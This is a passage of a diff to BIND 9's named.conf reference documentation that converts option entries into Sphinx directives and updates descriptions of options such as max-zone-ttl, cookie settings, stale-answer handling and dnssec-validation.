+   This should now be configured as part of :namedconf:ref:`dnssec-policy`.
+   Use of this option in :namedconf:ref:`options`, :namedconf:ref:`view`
+   and :namedconf:ref:`zone` blocks is a fatal error if
+   :namedconf:ref:`dnssec-policy` has also been configured for the same
+   zone. In zones without :namedconf:ref:`dnssec-policy`, this option is
+   deprecated, and will be rendered non-operational in a future release.
 
-   This is useful in DNSSEC-signed zones because when rolling to a new
+   :any:`max-zone-ttl` specifies a maximum permissible TTL value in seconds.
+   For convenience, TTL-style time-unit suffixes may be used to specify the
+   maximum value. When a zone file is loaded, any record encountered with a
+   TTL higher than :any:`max-zone-ttl` causes the zone to be rejected.
+
+   This is needed in DNSSEC-maintained zones because when rolling to a new
    DNSKEY, the old key needs to remain available until RRSIG records
-   have expired from caches. The ``max-zone-ttl`` option guarantees that
+   have expired from caches. The :any:`max-zone-ttl` option guarantees that
    the largest TTL in the zone is no higher than the set value.
 
-   (Note: because ``map``-format files load directly into memory, this
-   option cannot be used with them.)
+   When used in :namedconf:ref:`options`, :namedconf:ref:`view` and
+   :namedconf:ref:`zone` blocks, setting :any:`max-zone-ttl` to zero
+   is equivalent to "unlimited".
 
-   The default value is ``unlimited``. A ``max-zone-ttl`` of zero is
-   treated as ``unlimited``.
+.. namedconf:statement:: stale-answer-ttl
+   :tags: query
+   :short: Specifies the time to live (TTL) to be returned on stale answers, in seconds.
 
-``stale-answer-ttl``
    This specifies the TTL to be returned on stale answers. The default is 30
    seconds. The minimum allowed is 1 second; a value of 0 is updated silently
    to 1 second.
 
    For stale answers to be returned, they must be enabled, either in the
-   configuration file using ``stale-answer-enable`` or via
-   ``rndc serve-stale on``.
+   configuration file using :any:`stale-answer-enable` or via
+   :option:`rndc serve-stale on <rndc serve-stale>`.
+
+.. namedconf:statement:: serial-update-method
+   :tags: zone
+   :short: Specifies the update method to be used for the zone serial number in the SOA record.
 
-``serial-update-method``
    Zones configured for dynamic DNS may use this option to set the
    update method to be used for the zone serial number in the SOA
    record.
@@ -1552,10 +1915,13 @@ default is used.
    zeroes, unless the existing serial number is already greater than or
    equal to that value, in which case it is incremented by one.
 
-``zone-statistics``
+.. namedconf:statement:: zone-statistics
+   :tags: zone, logging
+   :short: Controls the level of statistics gathered for all zones.
+
    If ``full``, the server collects statistical data on all zones,
    unless specifically turned off on a per-zone basis by specifying
-   ``zone-statistics terse`` or ``zone-statistics none`` in the ``zone``
+   ``zone-statistics terse`` or ``zone-statistics none`` in the :any:`zone`
    statement. The statistical data includes, for example, DNSSEC signing
    operations and the number of authoritative answers per query type. The
    default is ``terse``, providing minimal statistics on zones
@@ -1563,11 +1929,11 @@ default is used.
    counters).
 
    These statistics may be accessed via the ``statistics-channel`` or
-   using ``rndc stats``, which dumps them to the file listed in the
-   ``statistics-file``. See also :ref:`statsfile`.
+   using :option:`rndc stats`, which dumps them to the file listed in the
+   :any:`statistics-file`. See also :ref:`statsfile`.
 
    For backward compatibility with earlier versions of BIND 9, the
-   ``zone-statistics`` option can also accept ``yes`` or ``no``; ``yes``
+   :any:`zone-statistics` option can also accept ``yes`` or ``no``; ``yes``
    has the same meaning as ``full``. As of BIND 9.10, ``no`` has the
    same meaning as ``none``; previously, it was the same as ``terse``.
 
@@ -1576,26 +1942,32 @@ default is used.
 Boolean Options
 ^^^^^^^^^^^^^^^
 
-``automatic-interface-scan``
+.. namedconf:statement:: automatic-interface-scan
+   :tags: server
+   :short: Controls the automatic rescanning of network interfaces when addresses are added or removed.
+
    If ``yes`` and supported by the operating system, this automatically rescans
    network interfaces when the interface addresses are added or removed.  The
    default is ``yes``.  This configuration option does not affect the time-based
-   ``interface-interval`` option; it is recommended to set the time-based
-   ``interface-interval`` to 0 when the operator confirms that automatic
+   :any:`interface-interval` option; it is recommended to set the time-based
+   :any:`interface-interval` to 0 when the operator confirms that automatic
    interface scanning is supported by the operating system.
 
-   The ``automatic-interface-scan`` implementation uses routing sockets for the
+   The :any:`automatic-interface-scan` implementation uses routing sockets for the
    network interface discovery; therefore, the operating system must
    support the routing sockets for this feature to work.
 
-``allow-new-zones``
-   If ``yes``, then zones can be added at runtime via ``rndc addzone``.
+.. namedconf:statement:: allow-new-zones
+   :tags: server, zone
+   :short: Controls the ability to add zones at runtime via :option:`rndc addzone`.
+
+   If ``yes``, then zones can be added at runtime via :option:`rndc addzone`.
    The default is ``no``.
 
    Newly added zones' configuration parameters are stored so that they
    can persist after the server is restarted. The configuration
    information is saved in a file called ``viewname.nzf`` (or, if
-   ``named`` is compiled with liblmdb, in an LMDB database file called
+   :iscman:`named` is compiled with liblmdb, in an LMDB database file called
    ``viewname.nzd``). "viewname" is the name of the view, unless the view
    name contains characters that are incompatible with use as a file
    name, in which case a cryptographic hash of the view name is used
@@ -1603,35 +1975,42 @@ Boolean Options
 
    Configurations for zones added at runtime are stored either in
    a new-zone file (NZF) or a new-zone database (NZD), depending on
-   whether ``named`` was linked with liblmdb at compile time. See
-   :ref:`man_rndc` for further details about ``rndc addzone``.
+   whether :iscman:`named` was linked with liblmdb at compile time. See
+   :ref:`man_rndc` for further details about :option:`rndc addzone`.
+
+.. namedconf:statement:: auth-nxdomain
+   :tags: query
+   :short: Controls whether BIND, acting as a resolver, provides authoritative NXDOMAIN (domain does not exist) answers.
 
-``auth-nxdomain``
    If ``yes``, then the ``AA`` bit is always set on NXDOMAIN responses,
    even if the server is not actually authoritative. The default is
    ``no``.
 
-``deallocate-on-exit``
-   This option was used in BIND 8 to enable checking for memory leaks on
-   exit. BIND 9 ignores the option and always performs the checks.
+.. namedconf:statement:: memstatistics
+   :tags: server, logging
+   :short: Controls whether memory statistics are written to the file specified by :any:`memstatistics-file` at exit.
 
-``memstatistics``
    This writes memory statistics to the file specified by
-   ``memstatistics-file`` at exit. The default is ``no`` unless ``-m
-   record`` is specified on the command line, in which case it is ``yes``.
+   :any:`memstatistics-file` at exit. The default is ``no`` unless :option:`-m
+   record <named -m>` is specified on the command line, in which case it is ``yes``.
+
+.. namedconf:statement:: dialup
+   :tags: deprecated
+   :short: Concentrates zone maintenance so that all transfers take place once every :any:`heartbeat-interval`, ideally during a single call.
+
+   This option is deprecated and will be removed in a future release.
 
-``dialup``
    If ``yes``, then the server treats all zones as if they are doing
    zone transfers across a dial-on-demand dialup link, which can be
    brought up by traffic originating from this server. Although this setting has
    different effects according to zone type, it concentrates the zone
    maintenance so that everything happens quickly, once every
-   ``heartbeat-interval``, ideally during a single call. It also
+   :any:`heartbeat-interval`, ideally during a single call. It also
    suppresses some normal zone maintenance traffic. The default
    is ``no``.
 
-   If specified in the ``view`` and
-   ``zone`` statements, the ``dialup`` option overrides the global ``dialup``
+   If specified in the :any:`view` and
+   :any:`zone` statements, the :any:`dialup` option overrides the global :any:`dialup`
    option.
 
    If the zone is a primary zone, the server sends out a NOTIFY
@@ -1639,18 +2018,18 @@ Boolean Options
    serial number check in the secondary (providing it supports NOTIFY),
    allowing the secondary to verify the zone while the connection is active.
    The set of servers to which NOTIFY is sent can be controlled by
-   ``notify`` and ``also-notify``.
+   :namedconf:ref:`notify` and :any:`also-notify`.
 
    If the zone is a secondary or stub zone, the server suppresses
    the regular "zone up to date" (refresh) queries and only performs them
-   when the ``heartbeat-interval`` expires, in addition to sending NOTIFY
+   when the :any:`heartbeat-interval` expires, in addition to sending NOTIFY
    requests.
 
-   Finer control can be achieved by using ``notify``, which only sends
+   Finer control can be achieved by using :namedconf:ref:`notify`, which only sends
    NOTIFY messages; ``notify-passive``, which sends NOTIFY messages and
    suppresses the normal refresh queries; ``refresh``, which suppresses
    normal refresh processing and sends refresh queries when the
-   ``heartbeat-interval`` expires; and ``passive``, which disables
+   :any:`heartbeat-interval` expires; and ``passive``, which disables
    normal refresh processing.
 
    +--------------------+-----------------+-----------------+-----------------+
@@ -1671,18 +2050,52 @@ Boolean Options
    | ``notify-passive`` | no              | no              | yes             |
    +--------------------+-----------------+-----------------+-----------------+
 
-   Note that normal NOTIFY processing is not affected by ``dialup``.
+   Note that normal NOTIFY processing is not affected by :any:`dialup`.
+
+.. namedconf:statement:: flush-zones-on-shutdown
+   :tags: zone
+   :short: Controls whether pending zone writes are flushed when the name server exits.
 
-``flush-zones-on-shutdown``
    When the name server exits upon receiving SIGTERM, flush or do not
    flush any pending zone writes. The default is
    ``flush-zones-on-shutdown no``.
 
-``root-key-sentinel``
+.. namedconf:statement:: root-key-sentinel
+   :tags: server
+   :short: Controls whether BIND 9 responds to root key sentinel probes.
+
    If ``yes``, respond to root key sentinel probes as described in
-   draft-ietf-dnsop-kskroll-sentinel-08. The default is ``yes``.
+   `draft-ietf-dnsop-kskroll-sentinel-08 <https://datatracker.ietf.org/doc/html/draft-ietf-dnsop-kskroll-sentinel-08>`_. The default is ``yes``.
+
+.. namedconf:statement:: reuseport
+   :tags: server
+   :short: Enables kernel load-balancing of sockets.
+
+   This option enables kernel load-balancing of sockets on systems which support
+   it, including Linux (SO_REUSEPORT) and FreeBSD (SO_REUSEPORT_LB). This
+   instructs the kernel to distribute incoming socket connections among the
+   networking threads based on a hashing scheme. For more information, see the
+   receive network flow classification options (``rx-flow-hash``) section in the
+   ``ethtool`` manual page. The default is ``yes``.
+
+   Enabling :any:`reuseport` significantly increases general throughput when
+   incoming traffic is distributed uniformly onto the threads by the
+   operating system. However, in cases where a worker thread is busy with a
+   long-lasting operation, such as processing a Response Policy Zone (RPZ) or
+   Catalog Zone update or an unusually large zone transfer, incoming traffic
+   that hashes onto that thread may be delayed. On servers where these events
+   occur frequently, it may be preferable to disable socket load-balancing so
+   that other threads can pick up the traffic that would have been sent to the
+   busy thread.
+
+   Note: this option can only be set when ``named`` first starts.
+   Changes will not take effect during reconfiguration; the server
+   must be restarted.
+
+.. namedconf:statement:: message-compression
+   :tags: query
+   :short: Controls whether DNS name compression is used in responses to regular queries.
 
-``message-compression``
    If ``yes``, DNS name compression is used in responses to regular
    queries (not including AXFR or IXFR, which always use compression).
    Setting this option to ``no`` reduces CPU usage on servers and may
@@ -1691,15 +2104,23 @@ Boolean Options
    compression disabled is out of compliance with :rfc:`1123` Section
    6.1.3.2. The default is ``yes``.
 
-``minimal-responses``
+.. namedconf:statement:: minimal-responses
+   :tags: query
+   :short: Controls whether the server only adds records to the authority and additional data sections when they are required (e.g. delegations, negative responses). This improves server performance.
+
    This option controls the addition of records to the authority and
    additional sections of responses. Such records may be included in
-   responses to be helpful to clients; for example, NS or MX records may
+   responses to be helpful to clients; for example, MX records may
    have associated address records included in the additional section,
    obviating the need for a separate address lookup. However, adding
    these records to responses is not mandatory and requires additional
    database lookups, causing extra latency when marshalling responses.
-   ``minimal-responses`` takes one of four values:
+
+   Responses to DNSKEY, DS, CDNSKEY, and CDS requests will never have
+   optional additional records added. Responses to NS requests will
+   always have additional section processing.
+
+   :any:`minimal-responses` takes one of four values:
 
    -  ``no``: the server is as complete as possible when generating
       responses.
@@ -1721,20 +2142,10 @@ Boolean Options
 
    The default is ``no-auth-recursive``.
 
-``glue-cache``
-   When set to ``yes``, a cache is used to improve query performance
-   when adding address-type (A and AAAA) glue records to the additional
-   section of DNS response messages that delegate to a child zone.
-
-   The glue cache uses memory proportional to the number of delegations
-   in the zone. The default setting is ``yes``, which improves
-   performance at the cost of increased memory usage for the zone. To avoid
-   this, set it to ``no``.
+.. namedconf:statement:: minimal-any
+   :tags: query
+   :short: Controls whether the server replies with only one of the RRsets for a query name, when generating a positive response to a query of type ANY over UDP.
 
-   .. note:: This option is deprecated and its use is discouraged. The
-      glue cache will be permanently *enabled* in a future release.
-
-``minimal-any``
    If set to ``yes``, the server replies with only one of
    the RRsets for the query name, and its covering RRSIGs if any,
    when generating a positive response to a query of type ANY over UDP,
@@ -1744,28 +2155,34 @@ Boolean Options
    traffic, without harming legitimate clients. (Note, however, that the
    RRset returned is the first one found in the database; it is not
    necessarily the smallest available RRset.) Additionally,
-   ``minimal-responses`` is turned on for these queries, so no
+   :any:`minimal-responses` is turned on for these queries, so no
    unnecessary records are added to the authority or additional
    sections. The default is ``no``.
 
-``notify``
+.. namedconf:statement:: notify
+   :tags: transfer
+   :short: Controls whether ``NOTIFY`` messages are sent on zone changes.
+
    If set to ``yes`` (the default), DNS NOTIFY messages are sent when a
-   zone the server is authoritative for changes; see :ref:`notify`.
+   zone the server is authoritative for changes; see :ref:`using notify<notify>`.
    The messages are sent to the servers listed in the zone's NS records
    (except the primary server identified in the SOA MNAME field), and to
-   any servers listed in the ``also-notify`` option.
+   any servers listed in the :any:`also-notify` option.
 
    If set to ``primary-only`` (or the older keyword ``master-only``),
    notifies are only sent for primary zones. If set to ``explicit``,
    notifies are sent only to servers explicitly listed using
-   ``also-notify``. If set to ``no``, no notifies are sent.
+   :any:`also-notify`. If set to ``no``, no notifies are sent.
 
-   The ``notify`` option may also be specified in the ``zone``
+   The :namedconf:ref:`notify` option may also be specified in the :any:`zone`
    statement, in which case it overrides the ``options notify``
    statement. It would only be necessary to turn off this option if it
    caused secondary zones to crash.
 
-``notify-to-soa``
+.. namedconf:statement:: notify-to-soa
+   :tags: transfer
+   :short: Controls whether the name servers in the NS RRset are checked against the SOA MNAME.
+
    If ``yes``, do not check the name servers in the NS RRset against the
    SOA MNAME. Normally a NOTIFY message is not sent to the SOA MNAME
    (SOA ORIGIN), as it is supposed to contain the name of the ultimate
@@ -1774,7 +2191,10 @@ Boolean Options
    ultimate primary should be set to still send NOTIFY messages to all the name servers
    listed in the NS RRset.
 
-``recursion``
+.. namedconf:statement:: recursion
+   :tags: query
+   :short: Defines whether recursion and caching are allowed.
+
    If ``yes``, and a DNS query requests recursion, then the server
    attempts to do all the work required to answer the query. If recursion
    is off and the server does not already know the answer, it
@@ -1784,14 +2204,48 @@ Boolean Options
    effect of client queries. Caching may still occur as an effect of the
    server's internal operation, such as NOTIFY address lookups.
 
-``request-nsid``
+.. namedconf:statement:: request-nsid
+   :tags: query
+   :short: Controls whether an empty EDNS(0) NSID (Name Server Identifier) option is sent with all queries to authoritative name servers during iterative resolution.
+
    If ``yes``, then an empty EDNS(0) NSID (Name Server Identifier)
    option is sent with all queries to authoritative name servers during
    iterative resolution. If the authoritative server returns an NSID
    option in its response, then its contents are logged in the ``nsid``
    category at level ``info``. The default is ``no``.
 
-``require-server-cookie``
+.. namedconf:statement:: require-cookie
+   :tags: query
+   :short: Controls whether responses without a server cookie are accepted
+
+   The ``require-cookie`` clause can be used to indicate that the
+   remote server is known to support DNS COOKIE. Setting this option
+   to ``yes`` causes ``named`` to always retry a request over TCP when
+   it receives a UDP response without a DNS COOKIE from the remote
+   server, even if UDP responses with DNS COOKIE have not been sent
+   by this server before. This prevents spoofed answers from being
+   accepted without a retry over TCP when ``named`` has not yet
+   determined whether the remote server supports DNS COOKIE. Setting
+   this option to ``no`` (the default) causes ``named`` to rely on
+   autodetection of DNS COOKIE support to determine when to retry a
+   request over TCP.
+
+
+   .. note::
+      If a UDP response is signed using TSIG, ``named`` accepts it even if
+      ``require-cookie`` is set to ``yes`` and the response does not
+      contain a DNS COOKIE.
+
+   The ``send-cookie`` clause determines whether the local server adds
+   a COOKIE EDNS option to requests sent to the server. This overrides
+   ``send-cookie`` set at the view or option level. The :iscman:`named` server
+   may determine that COOKIE is not supported by the remote server and not
+   add a COOKIE EDNS option to requests.
+
+.. namedconf:statement:: require-server-cookie
+   :tags: query
+   :short: Controls whether a valid server cookie is required before sending a full response to a UDP request.
+
    If ``yes``, require a valid server cookie before sending a full response to a UDP
    request from a cookie-aware client. BADCOOKIE is sent if there is a
    bad or nonexistent server cookie.
@@ -1805,14 +2259,17 @@ Boolean Options
    response, while also requiring a legitimate client to follow up with a second
    query with the new, valid, cookie.
 
-``answer-cookie``
+.. namedconf:statement:: answer-cookie
+   :tags: query
+   :short: Controls whether COOKIE EDNS replies are sent in response to client queries.
+
    When set to the default value of ``yes``, COOKIE EDNS options are
    sent when applicable in replies to client queries. If set to ``no``,
    COOKIE EDNS options are not sent in replies. This can only be set
    at the global options level, not per-view.
 
    ``answer-cookie no`` is intended as a temporary measure, for use when
-   ``named`` shares an IP address with other servers that do not yet
+   :iscman:`named` shares an IP address with other servers that do not yet
    support DNS COOKIE. A mismatch between servers on the same address is
    not expected to cause operational problems, but the option to disable
    COOKIE responses so that all servers have the same behavior is
@@ -1820,7 +2277,10 @@ Boolean Options
    security mechanism, and should not be disabled unless absolutely
    necessary.
 
-``send-cookie``
+.. namedconf:statement:: send-cookie
+   :tags: query
+   :short: Controls whether a COOKIE EDNS option is sent along with a query.
+
    If ``yes``, then a COOKIE EDNS option is sent along with the query.
    If the resolver has previously communicated with the server, the COOKIE
    returned in the previous transaction is sent. This is used by the
@@ -1831,84 +2291,111 @@ Boolean Options
    resolvers sending a correct COOKIE option are not subject to response
    rate limiting (RRL). Resolvers which do not send a correct COOKIE
    option may be limited to receiving smaller responses via the
-   ``nocookie-udp-size`` option.
+   :any:`nocookie-udp-size` option.
+
+   The :iscman:`named` server may determine that COOKIE is not supported by the
+   remote server and not add a COOKIE EDNS option to requests.
 
    The default is ``yes``.
 
-``stale-answer-enable``
+.. namedconf:statement:: stale-answer-enable
+   :tags: server, query
+   :short: Enables the returning of "stale" cached answers when the name servers for a zone are not answering.
+
    If ``yes``, enable the returning of "stale" cached answers when the name
-   servers for a zone are not answering and the ``stale-cache-enable`` option is
+   servers for a zone are not answering and the :any:`stale-cache-enable` option is
    also enabled. The default is not to return stale answers.
 
    Stale answers can also be enabled or disabled at runtime via
-   ``rndc serve-stale on`` or ``rndc serve-stale off``; these override
-   the configured setting. ``rndc serve-stale reset`` restores the
-   setting to the one specified in ``named.conf``. Note that if stale
-   answers have been disabled by ``rndc``, they cannot be
-   re-enabled by reloading or reconfiguring ``named``; they must be
-   re-enabled with ``rndc serve-stale on``, or the server must be
+   :option:`rndc serve-stale on <rndc serve-stale>` or :option:`rndc serve-stale off <rndc serve-stale>`; these override
+   the configured setting. :option:`rndc serve-stale reset <rndc serve-stale>` restores the
+   setting to the one specified in :iscman:`named.conf`. Note that if stale
+   answers have been disabled by :iscman:`rndc`, they cannot be
+   re-enabled by reloading or reconfiguring :iscman:`named`; they must be
+   re-enabled with :option:`rndc serve-stale on <rndc serve-stale>`, or the server must be
    restarted.
 
    Information about stale answers is logged under the ``serve-stale``
    log category.
 
-``stale-answer-client-timeout``
-   This option defines the amount of time (in milliseconds) that ``named``
+.. namedconf:statement:: stale-answer-client-timeout
+   :tags: server, query
+   :short: Defines the amount of time (in milliseconds) that :iscman:`named` waits before attempting to answer a query with a stale RRset from cache.
+
+   This option defines the amount of time (in milliseconds) that :iscman:`named`
    waits before attempting to answer the query with a stale RRset from cache.
-   If a stale answer is found, ``named`` continues the ongoing fetches,
+   If a stale answer is found, :iscman:`named` continues the ongoing fetches,
    attempting to refresh the RRset in cache until the
-   ``resolver-query-timeout`` interval is reached.
+   :any:`resolver-query-timeout` interval is reached.
 
    This option is off by default, which is equivalent to setting it to
-   ``off`` or ``disabled``. It also has no effect if ``stale-answer-enable``
+   ``off`` or ``disabled``. It also has no effect if :any:`stale-answer-enable`
    is disabled.
 
-   The maximum value for this option is ``resolver-query-timeout`` minus
+   The maximum value for this option is :any:`resolver-query-timeout` minus
    one second. The minimum value, ``0``, causes a cached (stale) RRset to be
    immediately returned if it is available while still attempting to
    refresh the data in cache. :rfc:`8767` recommends a value of ``1800``
    (milliseconds).
 
-``stale-cache-enable``
+.. namedconf:statement:: stale-cache-enable
+   :tags: server, query
+   :short: Enables the retention of "stale" cached answers.
+
    If ``yes``, enable the retaining of "stale" cached answers.  Default ``no``.
 
-``stale-refresh-time``
+.. namedconf:statement:: stale-refresh-time
+   :tags: server, query
+   :short: Sets the time window for the return of "stale" cached answers before the next attempt to contact, if the name servers for a given zone are not responding.
+
    If the name servers for a given zone are not answering, this sets the time
-   window for which ``named`` will promptly return "stale" cached answers for
+   window for which :iscman:`named` will promptly return "stale" cached answers for
    that RRSet being requested before a new attempt in contacting the servers
    is made. For convenience, TTL-style time-unit suffixes may be used to
    specify the value. It also accepts ISO 8601 duration formats.
 
-   The default ``stale-refresh-time`` is 30 seconds, as :rfc:`8767` recommends
+   The default :any:`stale-refresh-time` is 30 seconds, as :rfc:`8767` recommends
    that attempts to refresh to be done no more frequently than every 30
    seconds. A value of zero disables the feature, meaning that normal
-   resolution will take place first, if that fails only then ``named`` will
+   resolution will take place first, if that fails only then :iscman:`named` will
    return "stale" cached answers.
 
-``nocookie-udp-size``
+.. namedconf:statement:: nocookie-udp-size
+   :tags: query
+   :short: Sets the maximum size of UDP responses that are sent to queries without a valid server COOKIE.
+
    This sets the maximum size of UDP responses that are sent to queries
    without a valid server COOKIE. A value below 128 is silently
-   raised to 128. The default value is 4096, but the ``max-udp-size``
+   raised to 128. The default value is 4096, but the :any:`max-udp-size`
    option may further limit the response size as the default for
-   ``max-udp-size`` is 1232.
+   :any:`max-udp-size` is 1232.
+
+.. namedconf:statement:: cookie-algorithm
+   :tags: server
+   :short: Sets the algorithm to be used when generating a server cookie.
 
-``cookie-algorithm``
    This sets the algorithm to be used when generating the server cookie; the options are
-   "aes", "sha1", or "sha256". The default is "aes" if supported by
-   the cryptographic library; otherwise, "sha256".
+   "aes" or "siphash24". The default is "siphash24". The "aes" option remains for legacy
+   purposes.
+
+.. namedconf:statement:: cookie-secret
+   :tags: server
+   :short: Specifies a shared secret used for generating and verifying EDNS COOKIE options within an anycast cluster.
 
-``cookie-secret``
    If set, this is a shared secret used for generating and verifying
    EDNS COOKIE options within an anycast cluster. If not set, the system
    generates a random secret at startup. The shared secret is
-   encoded as a hex string and needs to be 128 bits for AES128, 160 bits
-   for SHA1, and 256 bits for SHA256.
+   encoded as a hex string and needs to be 128 bits for either "siphash24"
+   or "aes".
 
    If there are multiple secrets specified, the first one listed in
-   ``named.conf`` is used to generate new server cookies. The others
+   :iscman:`named.conf` is used to generate new server cookies. The others
    are only used to verify returned cookies.
 
-``response-padding``
+.. namedconf:statement:: response-padding
+   :tags: query
+   :short: Adds an EDNS Padding option to encrypted messages, to reduce the chance of guessing the contents based on size.
+
    The EDNS Padding option is intended to improve confidentiality when
    DNS queries are sent over an encrypted channel, by reducing the
    variability in packet sizes. If a query:
@@ -1928,10 +2415,13 @@ Boolean Options
    is truncated to 512. Block sizes are ordinarily expected to be powers
    of two (for instance, 128), but this is not mandatory.
 
-``trust-anchor-telemetry``
-   This causes ``named`` to send specially formed queries once per day to
+.. namedconf:statement:: trust-anchor-telemetry
+   :tags: dnssec
+   :short: Instructs :iscman:`named` to send specially formed queries once per day to domains for which trust anchors have been configured.
+
+   This causes :iscman:`named` to send specially formed queries once per day to
    domains for which trust anchors have been configured via, e.g.,
-   ``trust-anchors`` or ``dnssec-validation auto``.
+   :any:`trust-anchors` or ``dnssec-validation auto``.
 
    The query name used for these queries has the form
    ``_ta-xxxx(-xxxx)(...).<domain>``, where each "xxxx" is a group of four
@@ -1945,16 +2435,53 @@ Boolean Options
 
    The default is ``yes``.
 
-``provide-ixfr``
-   See the description of ``provide-ixfr`` in :ref:`server_statement_definition_and_usage`.
+.. namedconf:statement:: provide-ixfr
+   :tags: transfer
+   :short: Controls whether a primary responds to an incremental zone request (IXFR) or only responds with a full zone transfer (AXFR).
+
+   The :any:`provide-ixfr` clause determines whether the local server, acting
+   as primary, responds with an incremental zone transfer when the given
+   remote server, a secondary, requests it. If set to ``yes``, incremental
+   transfer is provided whenever possible. If set to ``no``, all
+   transfers to the remote server are non-incremental.
+
+.. namedconf:statement:: request-ixfr
+   :tags: transfer
+   :short: Controls whether a secondary requests an incremental zone transfer (IXFR) or a full zone transfer (AXFR).
+
+   The :any:`request-ixfr` statement determines whether the local server, acting
+   as a secondary, requests incremental zone transfers from the given
+   remote server, a primary.
+
+   IXFR requests to servers that do not support IXFR automatically
+   fall back to AXFR. Therefore, there is no need to manually list which
+   servers support IXFR and which ones do not; the global default of
+   ``yes`` should always work. The purpose of the :any:`provide-ixfr` and
+   :any:`request-ixfr` statements is to make it possible to disable the use of
+   IXFR even when both primary and secondary claim to support it: for example, if
+   one of the servers is buggy and crashes or corrupts data when IXFR is
+   used.
+
+   It may also be set in the zone block; if set there, it overrides the global
+   or view setting for that zone. It may also be set in the
+   :namedconf:ref:`server` block.
+
+.. namedconf:statement:: request-expire
+   :tags: transfer, query
+   :short: Specifies whether the local server requests the EDNS EXPIRE value, when acting as a secondary.
+
+   The :any:`request-expire` statement determines whether the local server, when
+   acting as a secondary, requests the EDNS EXPIRE value. The EDNS EXPIRE
+   value indicates the remaining time before the zone data expires and
+   needs to be refreshed. This is used when a secondary server transfers
+   a zone from another secondary server; when transferring from the
+   primary, the expiration timer is set from the EXPIRE field of the SOA
+   record instead. The default is ``yes``.
+
+.. namedconf:statement:: match-mapped-addresses
+   :tags: server
+   :short: Allows IPv4-mapped IPv6 addresses to match address-match list entries for corresponding IPv4 addresses.
 
-``request-ixfr``
-   See the description of ``request-ixfr`` in :ref:`server_statement_definition_and_usage`.
-
-``request-expire``
-   See the description of ``request-expire`` in :ref:`server_statement_definition_and_usage`.
-
-``match-mapped-addresses``
    If ``yes``, then an IPv4-mapped IPv6 address matches any
    address-match list entries that match the corresponding IPv4 address.
 
@@ -1962,10 +2489,13 @@ Boolean Options
    operating systems that causes IPv4 TCP connections, such as zone
    transfers, to be accepted on an IPv6 socket using mapped addresses.
    This caused address-match lists designed for IPv4 to fail to match.
-   However, ``named`` now solves this problem internally. The use of
+   However, :iscman:`named` now solves this problem internally. The use of
    this option is discouraged.
 
-``ixfr-from-differences``
+.. namedconf:statement:: ixfr-from-differences
+   :tags: transfer
+   :short: Controls how IXFR transfers are calculated.
+
    When ``yes`` and the server loads a new version of a primary zone from
    its zone file or receives a new version of a secondary file via zone
    transfer, it compares the new version to the previous one and
@@ -1981,84 +2511,57 @@ Boolean Options
    of the old and new zone versions, and the server needs to
    temporarily allocate memory to hold this complete difference set.
 
-   ``ixfr-from-differences`` also accepts ``primary``
+   :any:`ixfr-from-differences` also accepts ``primary``
    and ``secondary`` at the view and options levels,
-   which causes ``ixfr-from-differences`` to be enabled for all primary
+   which causes :any:`ixfr-from-differences` to be enabled for all primary
    or secondary zones, respectively. It is off for all zones by default.
 
    Note: if inline signing is enabled for a zone, the user-provided
-   ``ixfr-from-differences`` setting is ignored for that zone.
+   :any:`ixfr-from-differences` setting is ignored for that zone.
+
+.. namedconf:statement:: multi-master
+   :tags: transfer
+   :short: Controls whether serial number mismatch errors are logged.
 
-``multi-master``
    This should be set when there are multiple primary servers for a zone and the
-   addresses refer to different machines. If ``yes``, ``named`` does not
-   log when the serial number on the primary is less than what ``named``
+   addresses refer to different machines. If ``yes``, :iscman:`named` does not
+   log when the serial number on the primary is less than what :iscman:`named`
    currently has. The default is ``no``.
 
-``auto-dnssec``
-   Zones configured for dynamic DNS may use this option to allow varying
-   levels of automatic DNSSEC key management. There are three possible
-   settings:
+.. namedconf:statement:: dnssec-validation
+   :tags: dnssec
+   :short: Enables DNSSEC validation in :iscman:`named`.
 
-   ``auto-dnssec allow;`` permits keys to be updated and the zone fully
-   re-signed whenever the user issues the command ``rndc sign zonename``.
-
-   ``auto-dnssec maintain;`` includes the above, but also
-   automatically adjusts the zone's DNSSEC keys on a schedule, according
-   to the keys' timing metadata (see :ref:`man_dnssec-keygen` and
-   :ref:`man_dnssec-settime`). The command ``rndc sign zonename``
-   causes ``named`` to load keys from the key repository and sign the
-   zone with all keys that are active. ``rndc loadkeys zonename``
-   causes ``named`` to load keys from the key repository and schedule
-   key maintenance events to occur in the future, but it does not sign
-   the full zone immediately. Note: once keys have been loaded for a
-   zone the first time, the repository is searched for changes
-   periodically, regardless of whether ``rndc loadkeys`` is used. The
-   recheck interval is defined by ``dnssec-loadkeys-interval``.
-
-   The default setting is ``auto-dnssec off``.
-
-.. _dnssec-validation-option:
-
-``dnssec-validation``
-   This option enables DNSSEC validation in ``named``.
+   This option enables DNSSEC validation in :iscman:`named`.
 
    If set to ``auto``, DNSSEC validation is enabled and a default trust
-   anchor for the DNS root zone is used.
+   anchor for the DNS root zone is used. This trust anchor is provided
+   as part of BIND and is kept up-to-date using :ref:`rfc5011.support` key
+   management.
 
    If set to ``yes``, DNSSEC validation is enabled, but a trust anchor must be
-   manually configured using a ``trust-anchors`` statement (or the
-   ``managed-keys`` or ``trusted-keys`` statements, both deprecated). If
+   manually configured using a :any:`trust-anchors` statement (or the
+   :any:`managed-keys` or :any:`trusted-keys` statements, both deprecated). If
    there is no configured trust anchor, validation does not take place.
 
-   If set to ``no``, DNSSEC validation is disabled.
+   If set to ``no``, DNSSEC validation is disabled. (Note: the resolver
+   will still set the DO bit in outgoing queries indicating that it can
+   accept DNSSEC responses, even if :any:`dnssec-validation` is disabled.)
 
    The default is ``auto``, unless BIND is built with
    ``configure --disable-auto-validation``, in which case the default is
    ``yes``.
 
-   The default root trust anchor is stored in the file ``bind.keys``.
-   ``named`` loads that key at startup if ``dnssec-validation`` is
-   set to ``auto``. A copy of the file is installed along with BIND 9,
-   and is current as of the release date. If the root key expires, a new
-   copy of ``bind.keys`` can be downloaded from
-   https://www.isc.org/bind-keys.
+   The default root trust anchor is compiled into :iscman:`named`
+   and is current as of the release date. If the root key changes, a
+   running BIND server will detect this and roll smoothly to the new
+   key, but newly-installed servers will be unable to start validation,
+   so BIND must be upgraded to a newer version.
 
-   (To prevent problems if ``bind.keys`` is not found, the current trust
-   anchor is also compiled in ``named``. Relying on this is not
-   recommended, however, as it requires ``named`` to be recompiled with
-   a new key when the root key expires.)
+.. namedconf:statement:: validate-except
+   :tags: dnssec
+   :short: Specifies a list of domain names at and beneath which DNSSEC validation should not be performed.
 
-   .. note:: ``named`` loads *only* the root key from ``bind.keys``. The file
